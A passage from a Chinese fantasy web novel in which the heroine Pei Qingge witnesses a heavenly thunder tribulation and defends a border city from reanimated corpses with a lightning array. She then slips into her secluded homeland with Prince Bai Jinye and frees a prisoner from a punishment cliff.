听裴清歌这么说,白锦夜终于放下心来,还没等他再说话,眼睛一闭,就丝毫没有知觉了。 与此同时,老和尚也睁开了眼睛,看着倒在地上的白锦夜,又看了看裴清歌,脸上满是疑惑,忍不住开口问道,“他这是怎么了?” 裴清歌拧了下眉,思索了会才解释道,“他中了一种奇怪的毒,毒发起来,就会尸化,我把他身体里的尸气用阵法压住了,但同时活人的气息也散不出来,所以就这样了。” 老和尚看了白锦夜一会,没再说话,继续低头诵经了。 一直到第二天快亮的时候,第九道雷劫才落下。 这道雷劫像是把天都劈裂了。 “终于结束了。”裴清歌低声道。 老和尚也睁开眼睛,“这世上还有能受住九重雷劫的雷劫人,也是不容易。” 裴清歌没说话,就算裴姝受不住,国君也总有办法,她转眼看向老和尚,她只不过瞌睡了不到两个时辰,老和尚竟然像一下子苍老了十岁,“大师,你……” “差不多到时候了。”老和尚笑了笑,“还以为要一个人走完这最后一段,没想到也不算寂寞。” 裴清歌抿了抿唇,才道,“大师还有何心愿?若是我力所能及,一定帮大师完成。” 老和尚想了会,只是说,“我这辈子,唯一要做的,就是守灯,灯没守住,已经无颜去见师父。” “只要我活着,一定会想办法解决所有的瘟神蜮。”裴清歌开口道。 老和尚点了点头,叹了口气,“你便把我和这寺庙一起一把火烧了吧。” 裴清歌犹豫了会,转头看了看殿上的佛像,“毁佛的大罪,我可承担不起。” “也罢,那你把我火化后,骨灰埋到这院里吧,若是哪天天降雷火,也算是圆了我的心愿。”老和尚道。 “好。”裴清歌点头应了下来。 还没等两个人再说话,外面猛地又劈下一道惊雷! 第十道雷劫! 第133章 天罚 裴清歌和老和尚的脸色双双巨变! “这雷劫……还没结束。”老和尚说着话,气息已经开始不稳。 裴清歌的手紧紧地捏住衣角,她在古籍里看过,在九重雷劫之上,还有黄天劫和玄天劫两种。 黄天劫十二道,玄天劫十八道。 但这两种雷劫都只在传说里,每道雷劫都是前一道的一倍威力,能受住九重雷劫的人已经很少了,更何况黄天劫和玄天劫! 出现这种情况,只能是裴姝和国君引来的不只是天谴,还有天罚。 他们怕是不只是做了逆天改命这一件事! “没想到,我咽气之前,还能见到这种程度的雷劫,倒也……不枉此生。”老和尚说着背驼得更重,手也没力气再捻佛珠了。 裴清歌抿着唇,等枯尸的事情解决,她必须得回一趟北冥国了。 老和尚把手里的佛珠递向裴清歌,“这是我们这一脉,代代传下来的,到我这里,没传下去,本该随我入土了。不过你既然说你会去解决瘟神蜮,这也许能帮上你。” 裴清歌走到老和尚身边蹲下来,把佛珠接了过来,每一粒佛珠上,都刻着阵法,她眯着眼看着这些阵法,脸色微微惊讶。 老和尚见她看懂了,才继续道,“这些阵法都是‘神阵公’的后人,亲手刻上去的,许多阵法都不知作何用,也早就失传了。” 他的话音落下,第十一道雷劫劈了下来。 老和尚看着裴清歌手里的佛珠,低声喃喃地道,“也算是后继有人了吧。” 这一句话裴清歌没听清,她开口询问老和尚说了什么。 老和尚摇了摇头没再说话,只是闭着眼睛垂下头。 白锦夜抬手揉了揉眉心,坐了起来,以往他醒来的时候,天都亮了,不过此刻外面因为乌云满天,看起来仍像是午夜。 也就在此时,第十二道雷劫炸响。 裴清歌感觉自己的心脏都像是停了一拍,整个人脑袋里都半响的空白。 这一道雷劫之后,外面乌云迅速的散去,天空放了晴。 十二道,是黄天劫。 “结束了?”白锦夜开口问道。 裴清歌点点头,这一次应该是真的结束了。 “大师他……”白锦夜又看向老和尚。 老和尚坐在那,一动不动了,之前还能看到他胸口微微起伏,这一会已经完全没有动静了。 裴清歌微微抿了抿唇,她收起佛珠站起身,看向白锦夜,“天晴了,枯尸应该会继续往月城来,不然你先下山吧,我把大师的遗体火化,收好骨灰之后再下山。” “雨停了,华擎和倪徵知道如何布防。”白锦夜也站起身,“终归是有缘,就一起送大师最后一程吧。” 裴清歌点点头,和白锦夜一起火化了老和尚的遗体,又找了个陶罐装好,埋在了院子里。 做完这些,已经是午后,裴清歌蓦地想起大殿上的长明灯,看过去的时候,才发现那长明灯也不知道什么早就熄了。 她轻轻地叹了口气,跟白锦夜离开了寺庙。 刚出门,一道晴天雷劈下,正好劈中了院中的一棵枯树,枯树当即冒烟起了火。 白锦夜眉头拧了一下,便要上前去灭火,却被裴清歌拉住。 裴清歌看着那枯树,本来一夜大雨,枯树早就湿透了,但却刚好被烈日晒了一上午,微微干了些,这雷火不早不晚这个时候劈落,便是天意,“算了,这寺庙的使命已经结束了,走吧。” 往山下走的时候,裴清歌想着鬼卿在鬼王沙漠里看到的法阵,她没见过那样的法阵,就算是听过逆天改命的事,知道逆天改命需要哪些法阵,但也绝对不是那样的。 那个法阵,显然要更复杂。 也许裴姝并没有能力或者说并不会逆天改命,她是在国君的帮助下,来完成这一切的。 正因为她的能力不够,所以才需要有那样的法阵来支持。 那法阵也不是一天两天能完成的,很可能国君早就在那里设下了法阵,然后抓了裴姝过去。 那么……可能所有的枯尸被唤醒,也就跟那个法阵有关系。 唤醒这么多的枯尸,对普通人来说,无疑是灭顶之灾,惹来天罚也不为过。 裴清歌拧了拧眉,可国君会不知道他唤醒了枯尸么?他就在鬼王沙漠之中,自然也看见了这些枯尸离开了鬼王沙漠,他就当真完全没有理会这些枯尸到了外界会带来的后果么? 回城的路上,裴清歌异常的沉默,脸色也微微阴沉,一直进了城,白锦夜才忍不住开口问道,“怎么了?是有什么事么?” 裴清歌回过神来,顿了顿才说,“刚才那道雷火倒是给了我些启发,其实下次枯尸来的时候,也可以召唤雷火劈它们,不过……这样一来,未来的一年,月城恐怕都要陷入干旱缺水之中了。” “月城离沙漠又近,我怕月城缺水之后,也会沙化,那这里就成了荒城,以后都住不了人了。” “只要能挡住枯尸,这么多将士,还挖不出来几条水渠从其他的地方引水过来么?”白锦夜倒不觉得这是什么大问题,“再说又不是永久干旱,过了这一年,月城就可以和以前一样了。” “好。”裴清歌点点头,“那我跟你一起去军营吧。” 刚到北城城门,华擎就迎了上来,他看着白锦夜和裴清歌身上的衣服又皱又脏,满脸的担心,“天呐,王爷,王妃,昨晚那么大雷雨,你们两个有什么急事非要那个时候出城?多危险啊,真是担心死我们了。” “这不是没事么?”白锦夜下了马,“现在外面怎么样?” “还别说,这枯尸好像都去躲雨了,昨晚真是一个都没有。兄弟们都睡了个好觉,这一上午,也就零星的来了几个。”华擎说着顿了顿,“王爷,王妃,反正现在也没什么枯尸,要不你们先去换身衣服?” 白锦夜点了点头,上山下山,身上的衣服湿了又干,沾了不少污泥,他把缰绳交给了华擎,带着裴清歌往临时的住处走。 刚走了几步,裴清歌的脚步就停了下来,转头看着城外,微微眯了眯眼,“没时间换衣服了。” 第134章 引雷阵 华擎往城墙上面看了看,并没有士兵示警。 “我要去城外布个引雷阵。”裴清歌说着从华擎手里抓过缰绳,就往城门走,“枯尸过来你们挡一挡。” “叫所有人戒备。”白锦夜对华擎说了一句,立刻往城墙上走。 以往的引雷阵只会往阵中心引雷,但枯尸是大批过来,肯定不能只在一个点落雷,裴清歌准备在城前的空地布引雷阵的阵心,然后在距离阵心百丈外的四个方位布阵脚拱卫阵心,这样只要枯尸进到这个区域,都会被雷击中。 可哪知道阵心刚布完,地面就开始有轻微的震动,枯尸已经越来越近了。 她赶紧翻身上马,准备先布东北和西北两个阵脚。 站在高出了望的士兵看到远处飞扬的尘土,立刻敲鼓示警。 华擎抬手抓着城墙的边缘,“这些枯尸怎么了?以前没有行动这么快的。” “比我受伤那天遇到的枯尸动作还要灵活不少。”倪徵开口道,“如果这么快,恐怕来不及阻拦,它们就会爬上城墙。” “王妃的引雷阵不知道还要多久能布完?”华擎说着转头看向白锦夜,他也不清楚这引雷阵还要布置什么,于是只能向白锦夜询问。 白锦夜抬眼看了看远处,又垂眼看着裴清歌,开口道,“华擎,点兵,帅一万兵马跟本王出城,守在弓箭的射程之内,给王妃争取点时间。倪徵,让所有人把弓箭射到最远处,帮我们分担压力,王妃一旦完成,就立刻给我们撤退的信号。” 裴清歌刚布置完东北角,就见城门打开,大军出城。 她知道,如果白锦夜不给她争取一点时间,这个引雷阵完不成,那枯尸到了城下,大军的伤亡更重。 她也赶紧骑上马,往西北角赶。 等西北角布完,大军已经和枯尸对上了。 城上的弓箭手拉满弓,往最远处的枯尸群里射着带火的箭。 枯尸的数量多,几乎不用瞄准,只要一支箭射出去,就立刻能引起一小片火势。 在火箭之下的漏网之鱼,也逃不过白锦夜和华擎带的大军。 裴清歌在阵法的西南角下了马,刚蹲下布阵法,突然感觉到后背一热,瞬间一阵红光爆开,她猛地站起身,迅速地转身防备。 而她旁边的马也几乎是同时惊叫了一声,迅速的往远处跑去。 裴清歌微微眯了眯眼,那马的腿上,扎了半截箭矢! 刚才那情况,是血莲护主。 所以是有人在她背后放冷箭,血莲护主把箭矢弹开,反弹出去的箭伤到了马,马才会受惊逃跑。 她眯眼看着城墙之上,此时城墙之上都是在往枯尸里射箭的弓箭手,刚才意图伤她的人也隐在其中。 倪徵一直盯着裴清歌的情况,本来是打算只要等她一结束,就立刻通知白锦夜撤军,所以自然也看到了刚才那支箭。 他看到的时候,那箭已经快到裴清歌跟前,他即便高声提醒也来不及了,于是只能迅速的往箭来源的方向跑去。 那一片一共有十几个弓箭手,他抽出自己的佩剑盯着这十几个人,“是谁?刚刚是谁朝王妃的方向射箭?现在自己承认,我就当你是无心之失,只是流矢伤人,不然若是被我查出来,我让你求生不得求死不能!” 他说完,十几个弓箭手都没有任何反应。 倪徵冷笑一声,“很好,没人承认的话,那有人愿意举报么?你们身边的人,刚才有没有人往王妃的方向射箭?若是都不说,那就证明你们都是一起的,只能一起军法处置了!” 他这话音落下,十几个人互相看了看,他们大部分人刚才都在认真的往枯尸的方向射箭,此刻情势紧张,也根本没怎么关心周围的人。 好在还不等他们说话,其中有个人就像是被人勒住了脖子。 他扔下手里的弓箭,双手不停地抓着自己的脖子,但他的脖子上什么都没有,他再怎么抓也是徒劳无功。 那无形的力量拖着他的脖子,把他往城墙外扯。 他的双腿也在不断的挣扎,可还是没能挣脱那股力量,整个人被拖出了城墙之外,从几丈高的城墙上直接掉了下去。 倪徵愣了一下,又看向裴清歌的方向。 裴清歌和他对视了一眼,转身继续布阵了。 倪徵走到城墙边,往下面看了一眼,下面是草丛泥地,那人也没摔死,但估摸着摔成了重伤,挣扎了半响也没爬起来。 他叫了两个人,去把人弄上来,趁着还有气,赶紧审问。 裴清歌布完西南角,只剩下东南角,但马已经跑了,她只能朝东南角跑过去,这一下浪费了不少时间。 倪徵在城墙之上看的清楚,这波枯尸就连攻击力都提高了不少,出城应战的士兵不少人都挂了彩,甚至也有人倒下。 他看了一眼那四肢无法动弹,嘴角在微微流血的细作,若不是他,也不会耽搁这么多时间,于是又忍不住上前狠狠地踹了一脚。 终于等到裴清歌布完,倪徵赶紧让人擂了战鼓,闻声之后,白锦夜和华擎迅速带兵回城。 裴清歌最先回到城墙上,她看了一眼倪徵脚下半死的人,微微眯了眯眼,“不用审了,是西夜国的人。” 那人一直嘴硬,倒是没想到被裴清歌说穿,他咬着牙,死死地瞪着裴清歌。 裴清歌也没再理他,军里混了细作,这是白锦夜他们自己要解决的事,也自有军法处置,她继续走到城墙边,看着最后一个士兵离开引雷阵,抽出一道符纸,扔了出去。 天雷迅速的降下,进了引雷阵的枯尸一旦被天雷击中,便立刻失去行动能力。 再加上火攻,这一片区域几乎没有枯尸能够通过。 白锦夜回到城楼的时候,一眼就看到裴清歌后背的衣服上有些许的烧伤,他微微眯了眯眼。 见他面色不虞,这弓箭手又是自己麾下,倪徵赶紧上前屈膝跪下,“王爷,属下不查,让西夜国细作混了进来,险些伤了王妃,属下甘领罪罚。” “诶呦,这批枯尸是成了精么?以后不会都这么难搞吧?”华擎负了伤,走得慢了些,一瘸一拐地上了城楼便见到眼前这情况。 他赶紧上前问清楚了事情经过,“混账,就是你耽搁了王妃时间,害死了不少我们的兄弟!”骂着不解气,他举着自己已经卷了刃的刀砍向那细作。 没人阻拦,当场血溅城楼。 抽回了刀,他又有点后悔,“他娘的,应该把他扔进枯尸堆里,一刀砍死真是便宜他了。” 白锦夜垂着眼,昨晚那老和尚说他的徒弟被西夜国买通,如今他的军中也出现了西夜国的细作,这西夜国可真是一刻都不消停啊。 第135章 肃亲王会战死沙场 有了引雷阵,月城的压力一下子缓解不少。 而且自雷劫那日之后,每日出现的枯尸的数量越来越少。 在一连三日都没有枯尸出现后,裴清歌决定撤掉引雷阵。 她去找白锦夜的时候,他正在跟华擎和倪徵议事,见她进门,三个人的也就停下了刚刚正在谈论的事情。 裴清歌也没有在意,只是把自己的想法说了一下,又拿出一道符放在桌子上,“我只是暂时撤掉了引雷阵,如果后面还有大批的枯尸过来,你们把这道符点燃,引雷阵就会再次被开启。在阵法的东南角,有一棵柳树,只要把那棵柳树砍掉,引雷阵就散了。” 华擎和倪徵对视了一眼,犹豫了会,才开口道,“有王妃在,这种事哪轮到我们?万一出了差池,可担待不起。” 裴清歌垂眼看了看桌上的符咒,才看向白锦夜,“我打算回去了。” 华擎和倪徵只以为裴清歌说的是回盛京,这剩下的话,王爷和王妃肯定要单独说了,于是便赶紧起身告退。 但白锦夜心里清楚,她说的回去,是回北冥国。 沉默了会,白锦夜才问,“什么时候走?” “明天。”裴清歌说着顿了顿,又道,“有件事需要你帮忙。” 白锦夜抬眼看她。 “我回去不打算带鬼卿,但我也不想让他现在就知道我回去了,之前那位大师说的,你也听到了,这世上还有很多瘟神蜮存在,我希望你能帮我告诉他,我去东凉国解决瘟神蜮,让他去西夜国,把西夜国剩下的几处瘟神蜮解决掉。”裴清歌继续道。 “本王这样说,他就会信了?”白锦夜微微皱了下眉头。 裴清歌拿出几张图放下,“这是我推算的西夜国的瘟神蜮可能存在的位置,我也不确定哪一份是正确的,你帮我转交给鬼卿,让他按照这几张图去探探,只要探过几处,剩下的也就能确认,总比无头苍蝇一样到处乱窜的好。” 白锦夜把图拿过来,随意地翻了翻,又道,“那天风国的呢?你推算了么?” “天风国的,我猜有人在解决,如果没有的话,等我这次回去把事情安排好,会来解决。”裴清歌说着顿了顿,“就算我不能来,也会安排人来解决。” 说完她转身要走,走了几步又停下来,拿了一个锦囊,跟瘟神蜮的图放在一起,“还有,这里有一颗药,也帮我转交给鬼卿,他知道是什么。” 白锦夜看着桌上的东西,微微眯了眯眼,“你就这么放心让本王帮你转交?” “因为如果我不能来解决天风国的瘟神蜮的话,大概率是会派人把图送出来,让鬼卿来解决,王爷如果不想看天风国生灵涂炭,就会帮我转交。”裴清歌看着那锦囊,里面是当初苍幽给的那颗阳元丹。 她也不知道这一次回北冥国会发生什么事。 国君和她一直以来印象中的完全不一样,师父又不想让她再回去。 可是如果她不回去,可能很多事情永远都不会有答案。 但鬼卿是国君打伤的,当时国君明显是打算下杀手的,所以这会鬼卿如果回了北冥国,定然会有危险。 她不想让鬼卿再回去了。 甚至希望鬼卿恢复成正常人,去过正常人的生活。 白锦夜站起身,走到裴清歌的面前,“你把王府里从上到下所有人都送进了天牢,现在说走就想走么?” 裴清歌抬头看他,“枯尸的事,也算是我帮你解决了大部分,就当扯平了。” “哦?”白锦夜挑了挑眉。 “你既然来了月城,就应该有办法解决这件事……”裴清歌说着沉默了下,又道,“你有什么条件,直说吧。” “完成你之前的阵法,把本王彻底变成冥尸。”白锦夜看着她,本来他也没想这么快,到年底还有些日子,可是裴清歌这会就要走了,显然年前也不见得能回来,那也就只能现在了。 裴清歌的眉头慢慢地皱起来,隔了好一会才说,“不行。” 她的反应像是在白锦夜的意料之中,他从怀里拿出一个锦盒,打开,紫莲戒静静地躺在那,“再加上这个呢?” 裴清歌抿着唇看着紫莲戒,这是自师父失踪之后,她第一次见到紫莲戒,也可以完全确认,这是真的紫莲戒无疑。 她闭了闭眼,深吸了一口气,“紫莲戒你留着吧,我不能把你变成冥尸,白锦夜,这是你的命,若是没有我,你不知道这些,不也就只能接受么?” 说完,她也没再停留,转身向外面走去。 裴清歌也是心急,雷劫已经过去这么多天,她很想弄清楚到底是怎么回事,况且现在圣殿就只有冷鸢一个人在,若是裴姝真的帮国君逆天改命,并且还活下来了,那说不定在两任圣女都失踪的情况下,国君会让裴姝入主圣殿,那样一来,冷鸢就麻烦了。 所以第二天一大早,她就骑马出了城门,往鬼王沙漠的方向走。 走到沙漠的边缘,裴清歌下了马,把干粮和水从马上取下来,抬手摸了摸它的头。 这马是战马,自然也认识回军营的路,裴清歌把缰绳搭在马身上,它嘶鸣了一声,就朝月城跑去。 裴清歌转身看了看鬼王沙漠,微微眯了眯眼,正要往里走,脚步突然停下来,向身后的树上看去。 见自己被发现了,白锦夜才从树上跳下来,掸了掸衣袍上的灰尘,走上前来。 裴清歌拧眉看着他,“你什么时候来的?” “昨晚。”白锦夜说着往沙漠里看了看,“怕你天刚亮就走,我就跟不上了。” “我不会带你去北冥国。”裴清歌说完又补充,“你也别妄图跟着我,我可以打晕你再进去。” “你说,我应该有办法解决王府的危机,确实。”白锦夜点了点头,“我答应了皇上,肃亲王会战死沙场,反正在哪都是死,不如赌一赌,万一北冥国有人有什么办法能让我继续活下去呢?” 说完,白锦夜绕过裴清歌,径直往沙漠里面走去。 第136章 北冥国不欢迎外人! 裴清歌看着白锦夜的背影,他应劫的时间,应该是初七或者十九。 今天是冬月十二,初七已经过去了,就剩下冬月十九。 她本来还以为,是不是枯尸只是暂时停下了,不久之后还会再有一大波,那时白锦夜会在对抗枯尸中出现意外,她留下了引雷阵,已经算是仁至义尽了。 可现在,如果白锦夜去了北冥国,他岂不是要在北冥国应劫? “不行。”裴清歌跟上去,抬手抓住白锦夜的袖袍,“你不能去北冥国。” “为什么?”白锦夜回头看她,“之前我怕变成冥尸你会控制我,可是现在想想,就算不变成冥尸,你就不能控制我了么?我想变成冥尸,我想继续活下去,你又不愿意,那我只能去北冥国碰运气了。” “我已经跟你说了,这世上会炼制冥尸的只有我一个人,就算你去北冥国,也没人能帮你。”裴清歌拧起眉头。 白锦夜把袖子从裴清歌的手里抽回来,“那是我的事了。” “北冥国不欢迎外人!”裴清歌看着他的背影。 “我千里迢迢来归还紫莲戒,不欢迎我还不欢迎紫莲戒么?”白锦夜说着继续往前走。 “白锦夜!”裴清歌抬手就去抓他的肩头,另一只手捏了根银针往他的颈后扎去。 白锦夜侧身躲开,从袖袋里拽出一张纸。 裴清歌手上的银针扎在了纸上,她眯眼看着面前的纸,正是当时裴姝身上那张进出北冥国的地图,她眯了眯眼,“这图怎么会在你这?” “这么说,这张图是真的了?”白锦夜把图收回来看了看,才道,“从裴姝那顺来的。”他说完又看向裴清歌,“没关系,你可以把我打晕,反正我有这张图,按照这图去走,大概也能找到路。就算你把图抢走烧了也没关系,我已经背下来了。” 裴清歌收起银针,“你自己找死,就别怪我没提醒你了。” 说完她没再理会白锦夜,自顾自地往前走。 白锦夜也就慢悠悠地收起地图,跟在她身后,“你们北冥国,为什么要这样与世隔绝?” 裴清歌没回答。 “你们这些术法都不外传,是不是真的像谣传的那样,你们有修仙之道,所以一心追求长生,也不愿意跟外界往来?”白锦夜又问。 “白锦夜,我以前没觉得你是个无赖。”裴清歌头也不回地道。 “这么说,我以前在你心里的印象还可以?”白锦夜看着她。 “呵。”裴清歌用嗤笑代替了答案。 白锦夜打量了她一眼,“我看你带的水和粮食也不多,所以穿过鬼王沙漠的路其实也没有那么长,是么?” “你闭嘴吧。”裴清歌拧起眉头,继续往前走。 白锦夜这一次倒是听话,没再出声。 如果知道路,直接穿越鬼王沙漠,确实不算远,一天也就差不多走完了。 但是因为有些路不能走,要绕开,再加上这沙漠里天然存在些幻阵,一不小心在幻阵里迷失,就再也走不出来了,所以走了一天一夜,才走到了鬼王沙漠的边缘。 白锦夜在裴清歌的身边停下来,眯眼看着前面起码有十几丈的全黑色城墙,微微皱起眉头。 天风国的城墙,最高也不过几丈,便已经到了人工的极限。 他听张之极提起过,当年他们三国大军到了城下,看着这巨高的黑色城墙,一时也不知所措,他们根本没有办法攻上这么高的城墙。 但后来不知道为什么,北冥国会突然开城门迎敌,双方这才交战。 裴清歌没再往前走,转头看向白锦夜,“到了北冥国,不管见到谁,都不准说我和你的关系。” “为什么?”白锦夜直接问,“当初你也想过要名正言顺的做王妃。” “没有为什么。”裴清歌说着顿了顿,“假设有人知道了你的身份,也知道……我是王妃,你也不准说出那天晚上的事情。” 白锦夜看着她,沉默了会说,“那天晚上……” “白锦夜。”裴清歌上前一步抓住他的衣领,“你要是不想害死我,就最好把那天晚上的事情忘了,更何况……那天晚上本来就不是我。” 白锦夜垂眼看着她的手,半响后才点了点头,声音有些黯哑,“好。” 裴清歌这才放开了,继续往前走,她也不打算走正门进去,于是贴着城墙往一边绕去。 白锦夜只是跟在她的身后,没有再说话。 一直绕到了东南角,裴清歌在石头上摸了摸,然后走了进去。 白锦夜虽然知道裴清歌会些术法,但是……就这么走进石头里,多少还是让他诧异。 正想着他是不是应该按照裴清歌刚才说的,拿着紫莲戒去叫城门的时候,石头里突然伸出一只手,把他也拉了进去。 他只感觉眼前暗了一下,但瞬间又明亮了起来,正要再往前迈步,却发现前面是万丈悬崖,他一只脚已经落了空,好在及时收了回来。 他倒吸了一口凉气,还没等问什么,就被裴清歌捂住嘴。 他转头看她,便见她用眼神示意往一边走。 白锦夜定下神,贴着城墙,大概有一条一尺宽的路可以走,他跟着裴清歌,慢慢地往前走。 这里是唯一一处可以不用通过城门进入北冥国的入口,但却挨着刑崖,是暗城的地界。 北冥国的城墙是一种特殊的石材做成的,那石头叫铁围石,坚硬如铁,任何利器都难以摧毁。 东南角那处,传闻是千年前,有人成仙,渡雷劫时被雷劫劈坏的,但难以修补,最后就在那设下了一处幻阵。 这件事,差不多也就只有圣女知道,因为每一任圣女都有一个重要的任务,就是加固幻阵。 反正若是不知情的人,从那里冲进来,大概率也会掉进刑崖里摔死。 裴清歌正走着,袖袋里又开始抖动起来。 她拧着眉拿出碧血石,看着里面的碧血虫皱起眉头,“你在这乱闹腾,要是掉下去,可没人会下去找你。” 她说着抬手在碧血石上抹了一下,上次她安抚了之后,碧血虫就没再闹腾了,这一次却一点都不管用。 裴清歌抿了抿唇,难道是因为到了暗城的势力范围,这碧血虫有了感应? 她想了想,才问,“你若是对你主子有感应,就先停下来。” 这一次碧血虫终于听话了停了下来,但只停了一会,又开始闹腾。 “你主子就在这附近?”裴清歌犹豫了下,又问。 碧血虫听了这个问题,又停了会。 “他在刑崖附近干什么?”裴清歌低声自言自语地问了一句。 白锦夜一点都不想站在这万丈高崖上看裴清歌跟一只虫子聊天,正要叫她继续往前走,目光却落在了对面,他抬手指了指,开口问,“你看那里是不是有个人?” 第137章 怎么变得这么丑我都不认识你了 裴清歌眯眼看去,在对面有一处平台,那里确实有个人,她勾了勾唇,垂眼看着碧血虫,“行了,别再闹腾了,看见了。” 碧血虫这才彻底地安静下来。 裴清歌收起碧血石,沿着城墙继续往前走,走到前面宽敞的地方,绕着刑崖走了半圈,然后顺着一个石阶下到了平台上。 这边有不少这样的平台,都是刑崖为了处罚犯人所设。 她本以为之前碧血虫闹腾,是楚星玄出了什么意外,她确实没想到,楚星玄会被送到刑崖受罚。 这刑崖本就是楚云颂掌管,让他亲手把自己的儿子钉到刑崖上,那可真是好比挖他的心头肉了。 白锦夜走过来的时候,就看清那人的面容,正是当时在睢园的那个人,他微微眯了眯眼,他回了北冥国,不知道发生了什么事,落到这样的下场? 裴清歌抱着肩膀看着脸色苍白,手腕脚踝还在不断流血的楚星玄,“诶呦,我以为你在北冥国横着走,又有你爹做靠山,这辈子都只会送别人来刑崖,没想到还能看到你这副模样。”她说着顿了顿,“不会是暗城易主,你爹失势了吧?” “少说风凉话。”楚星玄看着她,“我当初回来,第一时间就去找了圣殿的人,让他们给你送药。你倒好,我可让碧血虫通知你很久了,你现在才来。” “哦?”裴清歌挑了挑眉,“是你让碧血虫通知我的?我还以为你俩有什么感应呢。” 楚星玄干笑几声,又向对面的某处角落看了看,“原来你私逃出去,是从那走的,这下我也知道了。” 裴清歌也转头往那看了看,“你在说什么?我怎么听不懂?” “行了。”楚星玄皱起眉头,“你的事情给你瞒着呢,赶紧先把我弄下来吧。” 刑崖的处罚也不算是什么秘密,裴清歌走到一旁,在石头的阵法上动了动,钉住楚星玄手腕和脚踝的钉子就撤开了,禁锢在他腰上的铁环也跟着打开。 楚星玄跌坐在地上,他没力气站起来,于是干脆就靠着崖壁坐在那,抬头看着裴清歌,“你回来就回来,还带着他干什么?” 裴清歌没回答,上前把他扶起来,“我把你放了,你爹应该很快就知道了吧?” “是啊,所以得赶紧走。”楚星玄说着又往裴清歌他们进来的角落看去,“他赶过来需要时间,正好就从那个地方走了。” “抱歉啊,我不是专程回来救你的。”裴清歌看着他,“所以我得回圣殿。” “可是……” “我扶他吧。”白锦夜抬手抓住楚星玄的胳膊,把他从裴清歌的身上拽过来,“不耽误你们聊天。” 楚星玄侧头觑了他一眼,“你这不会是吃醋吧?你把我囚禁了那么久,现在送上门来,这账我正好跟你算。” “那你自己走?”白锦夜拧眉看他。 楚星玄现在身体虚弱,不跟白锦夜一般见识,重新看向裴清歌,“你确定你还要回圣殿?” 裴清歌点点头。 楚星玄想了会,“只要路上别碰上我爹,他大概也想不到我会去圣殿。” “放心,碰不上。”裴清歌说着快步走在前面带路。 * 阵法被解开的时候,楚云颂就已经知道了。 他表情没什么波动,眼底却微微闪过一丝欣慰,没想到,还真有人会救楚星玄那小子。 楚星玄一回来的时候,他就知道他的命蛊不在他身上了。 能让楚星玄交付命蛊的人,定然不是一般人。 该说的,他都已经告诉过楚星玄了,他也该有自己的路要走。 楚云颂想着,放在膝盖上的手,死死地握成拳头,他不能再让楚星玄跟他一样,背负这么沉重的使命活下去,所以他必须要做出一个了结! * 一路上果然没遇到任何人,三个人就到了圣殿脚下。 白锦夜抬眼看着前方高耸入云的大殿,微微挑了挑眉,这面前的台阶足有几千阶,他走上去倒也还好,不过眼下楚星玄这副样子,还真的能走上去么? 裴清歌抬头看了一眼,微微叹了口气,她曾经以为自己回不来了,没想到还有机会再站在这。 只是……好像很多事情,和她当初离开的时候,都不一样了。 她绕过台阶,往后面走。 楚星玄轻笑一声,低声对白锦夜道,“他们只会让供奉的人爬台阶,美其名曰是考验心诚,但自己人从来不爬这台阶。” “你再废话就自己爬上去。”裴清歌转头看了楚星玄一眼。 楚星玄耸了耸肩,没再说话。 白锦夜看着裴清歌的背影,从以往她在王府里的表现来看,他就隐约的猜到,她在北冥国的地位不会低,如今看来,也确实如此。 台阶的后方,是圣殿的人进出用的通道,以阵法做的升降石阶,可以直接到达圣殿的大殿。 大殿的门打开,裴清歌便见到冷鸢提着剑,一脸戒备地看着门的方向。 见到他们三个,冷鸢的神色更加凝重,她只认识楚星玄,剩下的两个人完全陌生,“少主,上次你擅闯圣殿,是为圣女传信,这一次最好还有说得过去的理由,不然我只能找国君主持公道了。” “阿鸢。”裴清歌看着她,眼眶有些红润,冷鸢和鬼卿在她心里一样,都早已经是亲人般的存在,她知道她这段时间不在,冷鸢大概担心害怕也受了不少委屈,“是我。” 冷鸢仔细地打量了裴清歌半响,虽然这世上称呼她为“阿鸢”的就只有一个人,但……绝不是面前的这个人,她拧了拧眉,又问,“你是谁?我不认识你。” 裴清歌笑得有点无奈,冷鸢不像是鬼卿,可以感受灵魂气息,隔了会,她才想到什么,摸出一个虚空玉,扔了过去,“这是你让鬼卿带给我的东西。” 冷鸢探查了下虚空玉,里面还剩下一些药材,以及一些书。 那些书都是她亲手放进去的,是之前圣女正在看但还没有看完的书。 她眸光微震,睫毛轻颤,又看向裴清歌,“你是……圣女?”她扔了手里的剑,上前几步,认真地看着裴清歌,“你回来了!你回来了!太好了!”说完又忍不住道,“怎么……怎么变得这么丑?我都不认识你了!” 第138章 国君可以操控圣女做任何事 冷鸢这话一说,旁边的楚星玄都忍不住笑出声。 这个问题他可早就想问了。 裴清歌忍不住用手指点了点冷鸢的额头,这会当然不是叙旧的时候,“我先给楚星玄的伤处理下,你带这……”她说着看了眼白锦夜才道,“你带我这位朋友先去休息,阿鸢,我回来的事情,暂时不要让任何人知道。” “好。”冷鸢和鬼卿一样,向来都是以圣女为主心骨,裴清歌说什么,自然就是什么。 冷鸢带着白锦夜离开后,裴清歌才扶着楚星玄去了药室,刑崖上的刑具也都是铁围石铸成,这东西还有一个特性,就是伤了人之后,除非用了秘药,不然伤口不会愈合,会一直流血。 裴清歌调配药材的时候,顺便开口问道,“有什么话,现在说吧。” 楚星玄对他为什么在刑崖受刑的事,刚才一个字都没提,显然是因为白锦夜在。 “应该有人从西夜国去天风国找紫莲戒了吧?”楚星玄先问道。 裴清歌看了他一眼,“原来那封信是你写的。” “是。”楚星玄点点头,“我回来之后,我爹就让我带人到处寻找你和你师父的下落,我无意之中得到了一封西夜国给我爹送来的信,我当时以为……我爹背叛了北冥国,便想先挑拨他们的合作,后面再劝说我爹。” “我知道你在天风国,她既然问起天风国的事,就引导她去了天风国,若是真的跟你撞见,你总不会坐视不理。” “你知道对方是谁?”裴清歌又问。 楚星玄摇了摇头。 裴清歌叹了口气,说,“裴姝,是跟我师父一起的,一位圣女继任者,没完全通过圣女的考验,就逃出了北冥国,做了西夜国皇后。她确实去了天风国,但我们圣女有规矩,同门不能相残,所以我只是设了一个阵困住她,不过有人把她救出去了。” “是国君。”楚星玄接了她的话。 裴清歌也从鬼卿的记忆里猜到了这个,但是既然楚星玄说得这么肯定,就也一定知道什么,她看向他,等着他继续往下说。 沉默了会,楚星玄才道,“我爹跟我说,国君只能活到二十二岁,也就是今年年底,他急着找你和你师父,都是为了给自己续命。找不到你们的情况下,裴姝也不失为一个选择。” 裴清歌怔了一下,拧了拧眉,“你爹说的?可我之前见过国君,他的面相……”她说道这,又顿了顿,“难道我看到的国君,并不是他的真面目?” 